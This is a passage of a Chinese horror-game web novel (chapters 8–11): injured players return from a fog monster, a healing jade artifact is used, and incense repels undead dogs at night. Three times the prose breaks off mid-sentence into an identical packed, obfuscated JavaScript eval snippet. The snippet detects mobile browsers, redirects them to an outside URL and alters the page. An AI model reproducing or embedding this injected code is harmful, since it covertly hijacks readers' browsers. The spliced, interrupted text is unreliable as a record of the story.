那东西似乎没有伤害她的意思,现在已经消失不见,从景年的嘴里也问不出什么,不如先吃饭。 真好吃啊。 8. 怪物 林敛很久没吃到过这么惊艳的食物,甚至隐隐有一种记忆深处故乡的味道之感,不过比起那种味道又缺了些说不清是什么的东西。 在经历了一天一夜的疲惫之后,吃上一顿热腾腾的饭菜,让人感到无比惬意。 角落那张大铁锅也算是最大化地发挥了作用。 因为种种谜团带来的沉闷的气氛被热腾腾的饭菜打破,几人的距离似乎也在不知不觉中因为一顿简单的饭菜被拉近。 景年神情淡淡,并没有因为另外几人的赞不绝口表漏出什么特殊神情,仿佛夸的并不是他一样。 突然,院门“砰”地一声被撞开。 六人视线瞬间被吸引过去。 只见覃平浑身是血,小腿上有一个硕大的伤口,下半截裤子已经不见踪迹,鲜红的血珠滴落在被白雪覆盖的地面,染开刺目的花朵,给人极大的视觉冲击。他一路被人架着回来,在冰天雪地中小腿已经被冻得青紫,却因为伤口太大,血并没有止住。 覃平身后的几人浑身脏污,已经看不清脸色,雪水混着泥土在衣服上留下一道道痕迹,他们的身上也遍布各种细小的伤口,一群人的状态都已经接近强弩之末。 小赵的笑声在门被撞开的瞬间变戛然而止,视线落到覃平身上,他猛地站起来,椅子在地上发出刺耳的摩擦声。 “老大。”他颤抖着声音叫道,“这,这究竟是怎么回事。” 林敛环视一圈,敏锐地发现人数对不上。昨日分别时还显得有些壮大的队伍如今连三分之二都不到,好几张熟悉的面孔都不在队伍中,那个一直在反对往回走的男人也消失了。 想到最坏的结果,林敛心中一沉。 她没多言,立刻拿出玉琚,柔和的白光散开,将刚进门的几人包裹。 感受到熟悉的温暖,覃平挣扎着睁开垂下的眼皮,纵使用尽力气也只能睁到一半,半眯着眼睛喘息着说:“多谢。” 他的声音几不可闻,宣示着声音的主人此刻糟糕的身体状态。 林敛视线扫过剩下几人,对上贾任心虚的目光,交汇一瞬,他立刻移开视线。 食物的香气还在空中四逸,但此时已经没有人有心情再继续吃饭,新回来的几人闻到这股味道才感受到饥饿,胃饿到发痛,眼前发昏,却沉默着没人主动提出吃东西的诉求。 架着覃平的两人是和他一起进入副本的兄弟,此时眼眶通红,巨大的后悔与愧疚编织成一张巨大的网将他们紧紧包裹,没人知道他们是怀揣着怎样的心情踏上回程的道路。 “发生什么事了。” 随着林敛的询问,二人再也忍不住,潸然泪下。 自从他们分开行动,他们一路向前,浓雾越来越浓稠,能见度已经降低到了一米。 为了防止有人走丢,覃平打算扯点林间藤蔓将众人相连,一路都在讨好覃平的男人自告奋勇主动请缨要去摘,覃平答应了。他们看着男人的身影渐渐消失在在浓雾中,只留下一个淡淡的黑影。 突然,他们听到一声凄厉的尖叫,紧接着,尖叫的方向传来一阵令人毛骨悚然的咀嚼声。 尖叫是那男人的声音,那咀嚼声呢。 众人不敢往下想。 覃平意识到不对,招呼大家立刻返回,但是他们已经闯入那怪物的领域,怎么可能说离开就能轻易离开。 怪物似乎吃到了让它很满意的零食,嘎嘣嘎嘣地嚼着嘴里的脆骨,愉快地哼着一首不成调的歌,它的声音凄厉沙哑,随风飘散到各处。 他的歌声对人类似乎有精神攻击的效果,覃平只觉得自己的灵魂都在震荡,脑中一片天翻地覆,神智也有些模糊。 覃平死死掐了一把大腿,用疼痛刺激自己勉强恢复了神智。 唱着,它似乎发现了覃平众人的踪迹,几人只感觉有一道目光牢牢锁定了他们。 他们甚至都没看清那是什么怪物,只能听到一道道让人头皮发麻的嘎吱声,像是古朴的大门开合的声音,随着嘎吱声越来越大,所有人都感受到了那个庞然大物的缓缓靠近。 一阵白雾弥散,能见度彻底消失。伸手不见五指的密林中冒出了一双双红色的眼睛,静静地盯着他们,口水吧嗒吧嗒滴落在地面,喘着粗气的声音在林间回荡。 “跑!”覃平一声令下,所有人都朝着声音的反方向跑去。 但是他们的精神早在不知不觉中被侵袭,众人只觉得自己脚步虚浮,跑起来跌跌撞撞,明明看着是直线跑起来却一下撞到树上。 看东西也开始模糊,白雾中那一双双眼睛开始有了重影,眼前一片红色的光圈。 如果精神可以被抽象成数字,覃平猜测自己的精神值已经快掉到20以下了。 白雾遮盖了所有的光线,他们的眼前只有一片浓雾,看不清任何同伴,那白雾附着在每个人的衣服上,潮湿的水汽侵入他们体内,犹如附骨之疽,将他们牢牢固定在原地,动弹不得。 他们只能听到一阵阵嘎嘣嘎嘣的咀嚼声,那怪物似乎格外满足,甚至打了个饱嗝,慢慢悠悠地穿梭在浓雾中。 所有人都闭上双眼,绝望地接受命运的安排,临死前,覃平看到一双红色的眼睛朝他扑来,狠狠地咬上了他的小腿。 疼痛感让他浑身抽搐,身体不受控制地开始挣扎,精神瞬间清明,随即他意识到自己似乎能动了,受疼痛影响,身体在最后时刻爆发出了无尽潜力。 肾上腺素瞬间飙升,他猛地爆发出全身的力量,将咬住自己小腿的怪物狠狠抱住,使劲掰开它咬着自己小腿的嘴,砸向一边。 然后迅速避开怪物的声音,一瘸一拐地在浓雾中摸索着找到剩下几人,解决掉盯上他们的怪物,给了他们一人一拳,让他们清醒一点,脱离白雾,然后所有人立刻朝着一个方向大步狂奔,直到浓雾越来越淡,才摆脱了生命的威胁。 不知道是那只最恐怖的怪物吃饱了还是怎么回事,并没有追赶他们,才让他们有了可乘之机,但是即使它并没有对他们赶尽杀绝,他们的人也折损大半,死了好几个人,其他人也都挂了彩。 他们想去寻找神谕中的那位【孤独的旅人】寻求帮助,只是没人知道【世界尽头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484777|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】是何处,他们企图寻找副本边界,试着往另一个方向走了走,树林密密麻麻,更远处是一望无尽的雪原,路并没有任何会被走完的迹象,换言之,这个副本大得根本没有尽头。 这样的情况,让他们怎么去寻找世界尽头。 如果世界尽头指的不是副本边界,难道是在那个庞大的怪物之后的路上?要去往世界尽头,难道首先要先杀死那个不知道是什么东西的怪物。 想到那种脑子昏昏沉沉和身体不能行动的感觉,几人都忍不住一个激灵。 别提那个诡异怪物,就连它身边那些红眼睛小怪他们几人也打不过,密密麻麻的一片,凭他们几人跟送死没有两样。 他们几乎每个人都受了伤,覃平的伤口最严重,他为了保护剩下几人又被怪物咬伤了后背,最早被咬伤的小腿伤处也被咬得稀烂。 他们没有办法,想到了返回的林敛几人,只能寄希望于他们身上,覃平的伤口必须尽快处理,他不能再待在外面的冰天雪地里了,多呆一秒都可能会要了他的命。 于是跟覃平同行的二人当机立断,迅速踏上返回小屋的道路。 哪怕林敛几人没有找到任何线索,但是只要他们没遇到危险,只要林敛在。想到林敛的道具,他们又加快了步伐。只要有林敛,覃平就能多一分活下来的可能。 返回的路上,他们不由得后悔,早知如此,何必强行向前。明明知道林敛说的话有道理,他们也犹豫再三,却还是选择了向前进,如果他们当时选择相信林敛,跟着林敛返回,是不是就不会死这么多人了。 又忍不住怨恨那个一直在挑唆覃平往前走的男人,觉得都是因为他他们才变成现在这样,但是一想到他那声凄厉的惨叫,又变得沉默。 算了,给自己积积德吧。 其实不用问他们也清楚,这一路走回来,一路平静毫无波折,安全得诡异。让在浓雾中拼命厮杀仍被无情收割生命的他们看起来像一群笑话。 他们越走越沉默。 尤其是当他们走回来看到拔地而起的村庄和吃着饭菜谈笑风生的林敛几人,越发衬托得当初苦口婆心劝林敛共同离开的他们像个傻子。 他们当时甚至觉得林敛有些不知好歹,可现实狠狠地抽了他们一巴掌。 听完他们的叙述,林敛半天没说话。 老实说,副本发展到现在,其实有些出乎林敛的预料。 照理来说,有这么多新人所在的副本,应该是相对比较低的等级,从通关率而言,不会有太多伤亡。 从覃平他们之前所说的信息也可得知,只要老老实实按照神谕行事,不做对神不敬的事,哪怕并没有探索到副本真正的背景,小心谨慎一点也会成功通关。 但是副本还未过半,却出现了这么多的伤亡,还出现了一个杀伤力如此强的怪物,那么多人甚至没一个人看清楚它到底长什么样,还有那群红眼睛的怪物,也不知道究竟是什么东西。死了这么多人,覃平也深受重伤,显然不是普通玩家可以应对的。 这绝不应该是一个新人副本的难度。 9. 入夜 覃平几人显然也是轻视了副本的难度,才落得如此下场。 在玉琚的作用下,几人惊恐的心情得到缓解,慢慢平复下来,这边几人也将他们今天发现的线索告诉了他们。 林敛发现,这个道具远不止最初获得它时介绍的那样简单。 道具介绍时只说可以减少惊惧,防止太过惊恐出现幻觉,但是从目前使用的这几次,林敛发现它几乎能瞬间让人的情绪安定下来,保持在平静理智的状态,甚至可以减少所有负面情绪的侵扰。 其他人暂时没发现是因为当他们处在玉琚使用范围内时,潜意识认为在道具范围内等于回到了安全的环境,早晚会恢复正常,因此对生效时间的感知并不明显。 但林敛作为道具的主人,在开启道具时可以与道具通感,这是一种很玄妙的感觉,她可以感知到道具使用范围内每个人的精神状态。 因此对他们恢复速度的掌控有更深的了解。 在副本环境中,尤其是恐怖副本里,这样的瞬间恢复速度简直是外挂般的存在。 加之几乎能抵御一切负面情绪干扰,剩下部分只是解密的话,副本难度简直是骤降。 而且,林敛的目光飘向覃平。 他的血竟然已经止住。 被怪物咬伤,在冰天雪地里都没冻住的伤口,在玉琚范围内呆了一息就止住了血,可以说全靠这个道具保住了他的性命也不为过。 林敛看向玉琚的目光顿时变得微妙起来。 其他人体会到不同寻常,一方面是因为大多还是新人,还不知道道具都有什么能力,而覃平几个老玩家只以为它本就有很多功能,是她当初介绍的时候藏私了。但是只有她自己清楚,她当初原封不动地念出了道具介绍里的所有话,只有减少惊惧的能力。 所以是这个道具自己偷偷隐藏了许多功能。 没听过会有道具跟系统功能介绍的不一样。 一个普通的副本道具,真的能瞒过副本机制吗。 还是说,这个道具的等级已经凌驾于这个副本之上,甚至瞒过了“神”,自己藏在了祂的手心。 这可能吗? 亦或是这本就是祂赐下的神级道具,是为了奖励给有缘人。 但是既然设置这些置人于死地的副本,会故意放一个强大到会左右游戏机制的道具在副本里吗。 不管是哪种可能,林敛瞬间意识到,它一定还有其他能力等着自己探索。这个道具以后也不能这么大喇喇地拿出来使用,要适当削弱它的能力,防止引起别人的注意。 如果这个道具并非正规途径进入副本,太过引人注目被发现可能会被祂收回,或者引发有心之人的争夺。道具认主,想要她的道具除非她主动赠予,不然只能杀了她杀人夺宝,她不能拿自己的生命去赌。 小赵去附近的村民家借了针线,回来时花臂男已经生好了火,新回来的几人围着大火烤着已经冻僵的四肢。 覃平被安置在了屋内的地上,没办法,这里没有床,只能委屈覃平暂时趴在木板上。 小赵往覃平嘴里塞了一块院中的干柴,防止他太疼的时候咬伤自己,然后深呼吸两口气,在心里给自己打气。 他用火仔仔细细烤遍银针消毒,准备缝合伤口,但他的手却不听使唤,每靠近那几道深可见骨的伤口时都忍不住颤抖。 覃平有些无奈,用气声说:“别怕,我都冻僵了,感受不到疼,你大胆缝。” 小赵闻言,豆大的泪水一连串地砸落在覃平脸上,覃平被砸得睫毛颤动。 小赵越想镇定就越平静不下来。林敛看不下去,将玉琚开启覆盖在他身上,小赵才慢慢缓和下来,但是手依然有些发颤。 他说:“我没缝过东西,如果缝的丑的话覃哥你别怪我。” 覃平点头。 他一针扎下去,覃平再怎么冻僵也不是死了,自然不可能感受不到疼痛,整个人猛地一颤,双手在身侧紧紧攥起。 小赵颤颤巍巍地将针从另一头拔出来。 他针扎得太深,拔出线时连带着肉被牵扯到一起。 景年在旁边看热闹,看到这一幕终于看不下去了。 他直接伸手捏住针线,没废话,一把推开小赵,手下翻飞,另一只手死死按住覃平防止他挣扎。 汗珠从覃平头上滚滚落下,牙齿死死咬住干柴,发出咯吱咯吱的声音,因为太用力牙齿都陷入了木头几分。景年虽然动作利落,但一边缝针一边死死按着覃平挣扎的动作,也并不轻松,原本寒冷的屋内温度逐渐上升。 等终于缝合完所有的伤口,覃平和景年都出了一身汗。 林敛凑上去看,针脚意外的不错,缝得很紧实,整整齐齐地排列在覃平的伤口处。 这人冷着一张脸厨艺这么好已经够让人意外了,没想到还会做绣活。 林敛的目光变得有些意味深长。 这人现实里到底是干嘛的。 比她更惊讶的是小希。 小希站在旁边观看了全程,嘴张得快能塞下一个鸡蛋。 等林敛出去了,她终于没忍住,开口说了整个副本以来跟景年说的第一句话。 “你故意的吧。” 景年凉凉地斜睨了她一眼,小希立刻闭嘴,做了个拉上拉链的动作。 这位大杀神平日都是在怪物堆里大杀四方,衣服上永远沾满鲜血,从没干净过。在这个副本里却又是做饭又是绣花,能让他装模作样到如此地步,不是故意表现给人看的她死都不信。 她早就奇怪为何他这次副本到现在了都没去杀怪,现在想来肯定是因为林敛的缘故。 能让他这么殷勤,一定有古怪。 小希仔细回忆了所有和林敛相处的过程,没察觉到什么异常,但是她在副本最开始第一眼看到林敛的瞬间心脏不受控制地猛的收缩了一下,所以一路上她一直在默默观察林敛。 她的身体出现异常反应,一定是有什么原因,加上景年这个大杀神对林敛的态度也很暧昧,所以林敛身上一定有什么特殊之处。 但是不管有什么特殊之处,景年的行为都称得上惊悚。 一个大杀神突然变得如此贤惠,很难让人接受啊!这哥到底知不知道他ooc了。 小希搓了搓胳膊上不存在的鸡皮疙瘩,悚然地打了个寒战,“噫”了一声。 覃平看到缝好的伤口,终于如释重负地晕了过去。 小赵也松了一口气,要真让他缝完全程,他感觉自己一定会得尖锐恐惧症,他也知道自己一定没办法像景年那样快准狠地缝上伤口,一定会耽误很多时间,覃平只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484778|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白白受罪,现在这样真是最好了。 猛的放松下来,他才发现自己浑身发软,忍不住也要瘫在覃平旁边。其实他平时并没有这么怂,但是覃平是他一直以来的大哥,一直以来都非常可靠,救了他很多次,他还从未见过覃平受如此重的伤,关心则乱。 确认覃平只是睡了过去,他拖着虚浮的脚步走出房门,征求了景年的意见,招呼剩下几人吃饭。 剩下几人吓怕了也饿狠了,心情平复后饥饿感已经快将他们吞噬,空气中的饭香味一直在撩拨他们的神经,但都坐在火堆前没有动。 听到小赵让他们吃饭,飞到饭桌前抓着饭就往嘴里塞,看得林敛目瞪口呆。 小赵却很理解这种感受,经历了一天一夜的生死搏斗还饿着肚子,这会儿连泔水都吃的下去,更何况这一桌香甜可口的饭菜。 林敛:“……” 也不至于泔水。 耽误了这么久,天边渐渐泛起橙金色的光芒,太阳施施然地挂在天边,眼看天色即将暗沉,院中的一切慢慢虚化,村落也随着院中物体逐渐淡去。 林敛神色一凝,果然如之前推测的那样,晚上这里又会只剩下一间小屋。 看来这里的一切都有定数,日出而显日落而息,只是不知道今晚那群狗是否又会来到这里,又经历一场恶战。 剩下几人看到这一幕,忙招呼着把有用的东西往屋内搬。剩下的食材、生火用的木柴,甚至连那口大铁锅他们都抬进了屋内。 林敛:“……” 忙着抬锅的小赵嘿嘿一笑:“晚上给覃哥做饭吃。” 好吧。 景年也提着那把砍柴刀回到了屋内。 好吧。 林敛揉了揉眉心,去耳房拿了几把香烛。 因此错过了贾任看到景年拎着的那把砍柴刀时骤然紧缩的瞳孔。 覃平还在睡,众人贴心地没吵醒他,聚在另一边讨论。 “今晚那些狗还会来吗?” “肯定会啊,白天那些狗就不在了,说明他们肯定是晚上出没。” “那我们今天还跑吗?” “跑个屁,树林里还有另一个那么恐怖的存在,我们去了也是送死,还不如想办法先把这边的杀了。” “如果杀不完呢?” “那就一直杀,这边再怎么也没那边危险。” “我说,有没有可能他们进不来这个屋子啊。” “不能吧,那我们昨天跑了半天岂不是白费功夫。” “副本一旦开始是没有安全屋的,这里肯定也不安全。” “但是覃哥还要养伤,我们就算跑也跑不远。” “要照你们这么说我们干脆等死算了。” “我不管,我等会儿要跑,你们要死自己死,别拉着我。” 林敛一进屋,就听到他们讨论的内容,她敲了敲墙,声音渐渐安静下来。 “先不跑。” 她今天不打算跑了,昨天已经证明跑到树林中也并没有安全的地方,所以一定有别的避难方式。 他们也已经一天一夜没休息了,就算有道具也没人能经得住几天几夜不合眼,在这种状态下就算逃跑状态也绝对不如昨天。 而且,更重要的是,她想试着找找张寻的那只边牧。 10. 夜袭 因为林敛一锤定音,刚还有些不服气的人此刻也闭上了嘴。要知道,覃平不在,在这个副本里现在林敛就是最重要的人,今天负伤回来的人再次印证了她的道具在这个副本里有多么重要。 所以此刻大家都开始找趁手的工具。 “刚柴还是拿少了,应该多拿点的,等会儿狗来了我就一柴砸一个。” “好方法,把柴点燃扔应该效果更好。” 还有人羡慕地看着景年手里的砍柴刀,脑中幻想自己拿着刀大杀四方的样子流口水。 贾任却没心情参与大家的讨论了,又一个人缩在墙角,一副瑟缩的样子。 小赵看到他这幅样子就来气。 用脚尖踢了踢他:“你装出这幅样子给谁看,昨天跑的时候你在已经晕倒的狗身上逞英雄,这会儿大家准备战斗了你又一副怕的要死的样子,招笑呢?” 白天一起逃回来的几人也看不下去他这幅样子。 “他白天遇到怪物时也是这副死样,要不是他半天动不了说腿软覃哥背后就不会多出那么多伤口,一直说那怪物会吃了他,要我说还不如真吃了算了。” 贾任闻言猛地瞪了一眼说话的人,目露凶光。 那人被他狰狞的表情吓了一跳:“诶你个狗东西,还瞪我,我说错什么了?你害的覃哥成这样连句道歉都没有,好像谁上辈子欠你的一样。” “长的一脸老实,干出来的事没一件老实的。” 他还想再说,被旁边的人扯了扯衣服,示意他别说了。 贾任也不理他了,沉浸在自己的世界里,缩成一团,眼神直勾勾盯着门口。 “靠,什么人啊。”那人莫名其妙看他一眼,“怪渗人的。” 林敛看到他缩在那个角落,想起来这是昨天她站的位置,她突然想起了什么,拉过小赵低声问:“你记得他昨天在哪儿坐着么?” 小赵记得,甚至印象深刻:“就在那边那个墙角,本来他是在靠门口的那个墙边,听到外面的狗叫后就跑到那边蹲着了,我以为他怕狗,多看了两眼。” 因此当狗群出现时他看到贾任一直在发抖还去安慰了几声,没想到后面干出那种事。 林敛皱了皱眉,虽然这个想法有些荒诞,但她觉得那滩血可能是贾任搞出来的。 其实这个猜测非常无厘头,但是这个人的行为太古怪了,不能用常理来判断。 她本以为贾任可能在靠近那滩血的位置,但是小赵说的那个方向她记得和那滩血迹中间还站了四五个人,他应该没办法在众目睽睽之下在雕塑后留下一滩血迹然后横跨这么多人回到原位。 应该是自己想多了。 虽然这么想着,但林敛心头的猜忌并没有散去,反而越来越甚。 这个贾任真的是一个普通玩家吗。 实在是他前后反差太大,不像一个正常人,看着像是有某种精神疾病,林敛甚至觉得他可能已经出现了幻想,觉得全世界的怪物都想吃了他。 这样一个人在队伍里,实在不是一个稳定因素。 就像他昨天暴虐地踩死了那只狗,还试图把那个女生扯到后面当自己的挡箭牌,他骨子里绝对算不上什么好人。 林敛的思绪越想越杂乱,小赵看她这样子也不敢再说话。 一阵凉风刮来,林敛又感受到了那股寒意,奇了怪了,室内怎么会刮风呢。 其实林敛也清楚这绝对不是什么正常的风,看其他人的反应就知道了,又是只有她一个人感受到了这阵突如其来的凉风。 她从最初的警惕到现在已经逐渐有些习惯,反正目前来看这个诡异的东西并没有对她造成伤害,兵来将挡水来土掩吧。 但是繁杂的思绪被这阵凉风吹过,仿佛被吹散了几分,抚平了她的那点不安,让她的脑海也逐渐变得清明。 算了,想不通就不硬想了,之后多注意这个人,该知道的总会知道,现在把注意力放在即将到来的危险上才是正事。 小希远远地看到林敛这边的动静,走过来低声道:“姐姐,等会儿是不是要找那只叫小啪的边牧?” 林敛并不意外她跟自己有一样的猜测,这个叫小希的少女虽然外表看上去只是一个半大的小姑娘,但一个普通的小姑娘怎么可能在副本世界存活这么多次,还有那神秘的武力值,她一定不简单。 她轻轻嗯了一声,交代道:“如果它们真的冲进来,先不要全赶出去,留一两只,我要做个实验。” 小希点点头,跑去门边守着。 林敛走到房屋中央,看着那尊雕像,拿起旁边的一把香烛,在火堆旁点燃。 也不知道这个村庄怎么回事,祭拜这种天使神竟然用香烛,但是就地取材,有什么就用什么吧,也没什么可挑剔的。 她将香烛插进屋内村民祭拜雕像的烛台内,闭上眼睛在心里默念了什么。 其余人看着林敛的一系列动作,真没想到这个一来就敢掰开雕像手掌查看里面有什么东西的女生竟然会祭拜雕像,她看起来也完全不像是会信神明的人。 但是没有一个人出声询问,景年看到这一幕也只是兴味地抱起了胳膊。 当然,依旧抱着那把砍柴刀。 林敛拜完,回头发现众人的视线都落在自己身上,没太在意,默然地走到雕塑旁边候着。 “林姐,你刚是不是在求神明保佑我们今晚顺利啊,你看我要不要也去烧一炷香。”花臂男有些扭捏地扭到了林敛身边。 被林敛看白痴的眼神看回了原地。 景年蹭到林敛旁边:“别理这个二货。” 林敛一副你又是什么东西的神情。 得。 景年摸了摸他的大刀,又蹭了回去。 这又是什么意思。林敛注意到了他的动作,难不成他还想给她来一刀不成。 就算来一刀。 林敛看着那把刀。 别的武器不提,就这破砍柴刀,她也有一战之力。 景年莫名有些手痒。 他不想承认他被那一眼看的有些兴奋,总想跟谁酣畅淋漓地大打一场。 但是不是自夸,这副本里还没见过能和他打成平手的人或怪,他也不知道这股莫名其妙的战意来自何处。 但是他的身体确实有些激动,他已经等不及想冲出去和那些狗鏖战一番。 用鏖战这个词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484779|201939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些狗可能有些不够格,景年摩挲着刀柄,要不等会儿偷偷溜出去把他们说的那个很凶狠的怪物给砍了? 但是如果真把它杀了林敛会不会生气。 他觑了一眼林敛,他已经看出来了这位林姐想收集这个副本所有隐藏信息,万一他轻易地杀了那个怪物导致有什么信息无法被探索林敛会不会杀了自己。 其实偷偷的应该不会被发现吧。 不好说。 这人实在是有些聪明在身上,要是被她发现,把她惹恼了,万一以后都不再搭理他,他就没法从她身上探寻那股熟悉的感觉到底是什么了。 不划算。 景年摸了摸下巴,还是下个没她的副本再杀吧,一进去就开杀,杀爽了再走。 林敛没再搭理景年,她的注意力放到了窗外。 太阳已经完全垂落,夜幕降临,这会儿才注意到雪原上空的星星异常明亮,密密麻麻地点缀在夜空之中。 天黑了,它们是夜晚降临就会出现还是要和昨夜一样十二点才出现呢。 正想着,远远传来了几声犬吠。 “来了。” 屋内所有人立刻紧绷起来,摆出战斗姿态,顿时有人去火堆旁点燃了几根柴火。 仿佛一声令下,门“砰”地一声被风吹开。 门外亮起一双双绿色的眼眸,一群姿态各异的狗呈包围状环绕在门口。 依然是昨晚那身体扭曲得不成样子的狗群,昨晚死了几个,今天却奇迹般地活了过来,包括那个被贾任踩爆头颅的狗,它只剩下一个身体,脖子上挂着些许碎肉,却稳稳地站在原地,看得人遍体生寒。 发现众人只是挤在门边,没有出门的意思,“汪”的一声,狗群仿佛有目的一般朝着门框直接冲了进来。 小希当机立断,等第一只冲进门内,一脚踢开第二只狗的头颅,又一脚将它踢了出去。 举着柴火的几人站在门边,对准屋外的狗头就是一阵投掷,火柴落到几只狗的身上,它们几乎没有完整的皮肤,翻出来的肉裸露在外,一接触到火焰猛的瑟缩了一下,又想往里冲。 屋内的人被第一只狗吓得手忙脚乱,林敛交代小希的时候没有其他人听到,他们以为小希漏了一只,纷纷调整方向,准备先一起杀死这只狗。 那只狗只朝着一个方向直直冲进来,门口人头攒动,林敛一把拔出正在燃烧的线香,看准时机朝那只狗丢了过去。 香稳稳地砸到那只狗的身上,它感受到这一击,改变了行动路线,猛得朝着林敛扑过来,就在千钧一发之际,屋内的光线突然闪烁了一瞬,紧接着那只狗瞬间化为一阵青烟,消失在了众人眼前。 所有人都整愣住了。 除了林敛和早有预料的景年。 “这,这究竟是怎么回事。”有人不敢置信,磕巴着问。 林敛印证了自己的猜测,露出一抹笑。 “还记得最开始覃队长说过什么吗?” 其他人脑中迅速开始回忆。 “或者说,还记得昨天小赵为什么要阻止我碰雕塑吗?” 众人反应过来,有些怔愣。 “不敬神明。” 11. 本相 敬神的香烛也是神明的所有物,那根香砸到那只狗的身上,自然也算是狗攻击了香,而那只狗做了触犯神明的事,自然会被神明惩罚。 至于林敛,早在点燃香烛的时候就在心里默念过等会儿情况紧急时可能需要借香一用,请神明勿要怪罪,此时自然不会被神明惩罚。 “好了,叫他们回来吧,开工。” 林敛拿回来的香烛派上了大用场。 雪地成了天然的香烛台,将香烛点燃,祭拜过雕像后绕着屋门围成一圈,狗群似乎能感受到香烛上带着的危险气息,忌惮地缩在离门口十几米的距离,眼睛死死盯着屋内众人。 有人不放心地在门口守着,十几分钟过去,狗群依然蹲在不远处。不敢靠近,却也不愿离去。 林敛仔细观察着屋外的狗群。 大多都缺胳膊少腿,皮肉外翻,仅剩的毛发一绺一绺地黏在身上,裸露出的伤口处已经变成坏死的黑色。并不是所有狗都瞪着一副绿色眼珠,有几只眼睛处只剩空洞。还有一只瘦成骷髅架子的狗嘴被什么东西死死缠住,形同枯槁。 从能辨认的特征来看,大多是普通的中华田园犬,林敛并没有从中找到疑似边牧的存在。 雪不知何时又下大了。他们半蹲半卧在雪地中,那双双绿油油的眸子里凛冽着凶光。 关上房门,留了两人守夜换香烛,剩下的人迅速随便找个角落躺下补眠。柴火烧得正旺,屋内和屋外的温度犹如两个世界,躺下后紧绷一天的身躯得到缓解,瞬间就能让人进入梦乡。 林敛睡不着。 她在脑子里将从进入副本至今的所有线索串联起来,从进入副本开始这群狗就目标明确一直攻击他们。 白天的村民说村里一直在丢狗,张寻一回村就弄丢了他的边牧,但那只边牧很聪明能听懂人话,不会自己走丢,所以肯定有人偷狗,村民中有人说谎了。 而从昨晚至今遇到的所有狗都身负各种惨状,如果这两群狗是同一群狗,那么唯一指向的可能就是——有人不仅偷了狗,甚至将他们虐杀至死。 而这群狗对他们展开攻击,是因为痛恨人类将他们虐杀至死,复活后要报复人类。 这也符合副本设置副本怪物时的叙事逻辑。 但有两个存疑的地方。 一、被杀死的狗又出现在了队伍中,因此狗群身上的伤有可能是之前通关副本的人留下的痕迹,并非有人刻意为之。 二、边牧去哪了。 林敛猜测,如果是普通新手难度的副本,这个地方的设置最合理的方式就是,村中狗大规模失踪,玩家在接到寻狗任务后,会在夜晚遭遇突然异化成副本怪物的狗群,在找到狗群中的边牧后确认这就是消失的狗群,想办法将只能在夜晚出现的狗群带回白天才显现的村庄。 但是他们经历的这个副本,从最开始时间就不对。 没有任何准备,半夜十二点直接面对已经异化的狗群,经历一番恶战后逃往树林,如果林敛没有突然提出要回头寻找线索,所有人可能都已经死在了那个可能是副本boss的怪物手中。 如果是正常难度的副本,他们正确的时间线,应该是先在村中打听到狗失踪的线索后,为了通关主线剧情先帮助张寻寻狗,再在休息时间突然用消失已久已经异化的狗群打他们个措手不及。 所以他们的副本时间被人恶意篡改了。 是提前了一晚吗? 还是,推迟了一晚。 林敛有这些猜测并不是无的放矢。 本以为这些狗凄惨的外表是副本刻意为之,但仔细观察后林敛发现不对,是人为或后期造成的概率更大。 很简单的道理,用游戏的角度理解,副本怪物应该分为普通小怪和副本boss,这群狗攻击力并不强,目前只发现了撞击和撕咬两种攻击方式,和普通狗无异,显然是小怪级别。 这种副本中最常出现的大规模低级物种,应该拥有状态的高度相似性,比如他们相同颜色的眼睛。而不是每只都拥有如此精细的建模,每只狗的伤口和惨状各不相同。 如果是之前通关的玩家留下的痕迹,存在一定可能性,但是林敛更倾向于有人在故意虐狗。 玩家突然面对狗群,在发现这群狗可能是村民丢失的狗后重心一定在怎么把它们控制住交给村民身上。 当玩家发现狗群只会一味攻击,为了活命,只可能慌不择路地选择粗暴地杀死那群狗,不会刻意在狗群的身体上留下可以堪称虐待的伤口。 拥有能牵制住狗群的能力却故意虐待就更不可能了,副本世界完成任务尽早通关才是正事,不会有人蠢到为了一时发泄情绪而故意不完成村民的任务,用自己的性命当赌注。 因此一定是有那么一个存在,在对一群原本健康的生物行虐杀之事。 想到万一真如自己所想,这些狗并非副本故意设置吓唬玩家,所有的狗都是被人硬生生折磨成如今的惨状,林敛的眸中便划过一丝冷意。 怒火在她眼中升腾,烧得她神智越发清醒。 所以神谕给的线索并不是她最初以为的那么无厘头,【当午夜的钟声敲响,演出序幕即将拉开】指的应该就是玩家遍寻一日的狗群会在夜间出现,用玩家的生命与血肉在雪原中上演一场凄美的表演。 如果玩家能找到那块门板,猜出那句隐藏的诗,应该也算在隐藏信息中,而这里的“归人”指的应该其实就是狗群,让玩家寻找方法将狗群送回白天。 